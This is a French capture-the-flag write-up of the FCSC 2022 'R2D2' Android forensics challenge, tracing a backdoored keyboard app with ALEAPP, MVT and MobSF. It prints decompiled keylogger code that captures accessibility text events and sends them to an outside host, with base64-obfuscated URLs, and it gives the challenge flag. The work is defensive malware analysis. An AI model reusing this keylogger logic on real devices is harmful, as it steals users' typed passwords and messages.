FCSC2022 - R2D2

4 minute read
FCSC2022
,

FCSC2022 - R2D2 Write-up

Énoncé

Le PDG de GoodCorp n’en démord pas : son téléphone est backdooré, et en plus de voler ses photos, on lui vole ses mots de passe, son historique de navigation, ses messages, etc. !

On vous confie l’analyse de son téléphone.

Consciencieux, vous décidez d’émuler complètement le téléphone, afin de pouvoir investiguer plus en profondeur.

fichiers : android.zip Comment lancer l’émulateur.pdf

Note : L’application Authenticator ne fait pas partie de l’épreuve

Résolution

Ce challenge est une analyse forensique d’un télephone android compromis. Notre but est de trouver un flag, en lien avec ce que l’énoncé nous demande. Au vu de celui-ci, une backdoor a donc été installée sur le télephone, nous allons essayer de regarder les events du télephone et s’aider au maximum d’outils afin de voir ce qu’il s’est passé. Une notice d’installation nous est fournie et on peut donc analyser le télephone à chaud en le lançant.

ALEAPP

Une fois le téléphone allumé, le premier réflexe que nous avons, est de lancer l’outil ALEAPP : https://github.com/abrignoni/ALEAPP

Cette outil permet de parse les logs android dans de nombreux chemins, et de tout formater afin que cela soit rapidement lisible. On utilise l’outil adb pour extraire le répertoire /data du système, car c’est lui qui comporte les données liées aux applications, etc …

adb exec-out "tar c data/* sdcard/*" > test.tar

On lance l’outil ALEAPP sur l’archive et nous avons juste à nous rendre sur les pages HTML générées.

On se balade dans les menus pour récolter diverses informations. Le menu Events est notamment intéressant, le reste ne l’était pas énormément, du fait qu’il y ait peu de données sur le téléphone, voir quasiment aucunes.

Ces events-là, m’ont notamment interpellé, du fait du lancement de l’activité com.google.android.packageinstaller, on comprend rapidement qu’une application a été installée, c’est une piste, concernant une probable application backdoorée.

On pouvait aussi trouver quelques mots-clés dans les bases de données mais sans plus.

L’idée désormais est de réussir à trouver quelles applications ont été installées. Il se trouve que les applications installées sur Android sont toujours au même endroit : “/data/app”

Mais je ne savais pas ça, avant d’utiliser le tool MVT : https://docs.mvt.re/en/latest/ . Il permet de récupérer de nombreuses informations concernant les applications installées, avec des check automatiques sur Virus Total, etc … Il est notamment très utilisé pour contrer le virus Pegasus.

Pour l’utiliser j’ai du passer par la méthode tcp, car la méthode locale ne fonctionnait pas.

mvt-android check-adb --serial localhost:5555

On récupère donc les applications installées, et on récupère même un score venant de www.koodous.com . On voit donc “com.google.android.apps.authenticator2” et “com.google.android.inputmethod.greek”. L’énoncé de l’épreuve a été modifié et nous savons donc qu’authenticator2 n’est pas dans le scope de l’épreuve. Cela confirme donc notre piste, et nous avons donc seulement inputmethod.greek d’installé. En effet, de ce nom, cela parait être un clavier grecque, mais pourquoi cette langue, alors que le propriétaire du téléphone à l’air d’être français au vu de ses recherches sur chrome (anssi). Cela nous met la puce à l’oreille. Le clavier peut aussi référer à une backdoor qui enverait chaque touche de tapée, à un serveur externe.

On récupère l’apk avec adb pull, et on la passe dans Virus Total -> score de 0, mince …

On va donc pousser l’analyse plus en profondeur en utilisant le superbe outil MobSF : https://github.com/MobSF/Mobile-Security-Framework-MobSF .

Il permet d’analyser des applications en récoltant beaucoup d’informations.

On voit que l’application à l’icône du clavier google, pas d’alertes de sécurité énorme, seulement des détails en regardant tout les menus. J’étais donc bien embêté en voyant cela, mais il restait une dernière chose à voir, le code lui-même de l’application. MobSF utilise jadx pour cela et on peut télécharger le code java de l’application directement. À première vue, en regardant rapidement le code on ne voit pas grand-chose, jusqu’à ce que l’on se balade dans le dossier com :

On regarde là classe KeyBoarder.java :

public void onAccessibilityEvent(AccessibilityEvent accessibilityEvent) {
    String str;
    String str2;
    String str3;
    int eventType = accessibilityEvent.getEventType();
    String str4 = null;
    if (eventType == 1) {
        str2 = "VFlQRV9WSUVXX0NMSUNLRUQ=";
    } else if (eventType != 8) {
        if (eventType != 16) {
            str = null;
        } else {
            str4 = a("VFlQRV9WSUVXX1RFWFRfQ0hBTkdFRA==");
            str = String.valueOf(accessibilityEvent.getText());
            try {
                str3 = Base64.encodeToString(b(str).getBytes("UTF-8"), 0);
            } catch (UnsupportedEncodingException unused) {
                str3 = "";
            }
            if ("{v*d*v\"H*v\"H+;=:|sd;+(p_|tu;+v#x)_|`|uq\"&rcl9".equals(b(str3))) {
                c(a("aHR0cDovLzE3Mi4xOC4wLjE6ODA4MC95b3Vfd29uLw=="), b(a("dXIkckxfZmZiYWVkYmVgNF9lNjZoZTZnYjdjYmVfaDQyaGIzMjM2Ymc1ZTY1NGM0YjU1MzZkYmZmaDZfMzdlaGhjNGdoTg==")));
            }
        }
        if (str4 == null) {
            c(a("aHR0cDovLzE3Mi4xOC4wLjE6ODA4MC9kZWJ1Zy8="), str);
            return;
        }
        return;
    } else {
        str2 = "VFlQRV9WSUVXX0ZPQ1VTRUQ=";
    }
    str4 = a(str2);
    str = String.valueOf(accessibilityEvent.getText());
    if (str4 == null) {

Et en voyant ça, on sait que nous sommes au bon endroit. On décode premièrement les strings qui sont en base64.

$ echo -n 'aHR0cDovLzE3Mi4xOC4wLjE6ODA4MC95b3Vfd29uLw==' | base64 -d
http://172.18.0.1:8080/you_won/
$ echo -n 'dXIkckxfZmZiYWVkYmVgNF9lNjZoZTZnYjdjYmVfaDQyaGIzMjM2Ymc1ZTY1NGM0YjU1MzZkYmZmaDZfMzdlaGhjNGdoTg==' | base64 -d
ur$rL_ffbaedbe`4_e66he6gb7cbe_h42hb3236bg5e654c4b5536dbffh6_37ehhc4ghN

Nous avons cette deuxième string à décoder qui pourrait s’apparenter à être notre flag, elle est passée dans la fonction b. Donc avons juste à reproduire le code java et le lancer afin de récupérer le flag :)

import java.io.File;
import java.io.UnsupportedEncodingException;
import java.util.LinkedHashMap;

public class Test {
    static String b(String str) {
        StringBuilder sb = new StringBuilder();
        for (int i2 = 0; i2 < str.length(); i2++) {
            char charAt = str.charAt(i2);
            if (charAt != ' ' && (charAt = (char) (charAt + '/')) > '~') {
                charAt = (char) (charAt - '^');
            }
            sb.append(charAt);
        }
        return sb.toString();
    }

    public static void main(String[] args){
        
        String test = b("ur$rL_ffbaedbe`4_e66he6gb7cbe_h42hb3236bg5e654c4b5536dbffh6_37ehhc4ghN");
        System.out.println(test);
    }
}

$ java Test 
FCSC{0773265361c06ee96e83f43609ca93babe38d6edc4c3ddbe53779e0bf6994c89}

FLAG: FCSC{0773265361c06ee96e83f43609ca93babe38d6edc4c3ddbe53779e0bf6994c89}

Challenge très intéressant, la backdoor était donc bien dans cette application, la logique était là. Le filesystem Android est très vaste et les tools permettent de faciliter l’analyse quand on ne le connait pas assez.

Liens utiles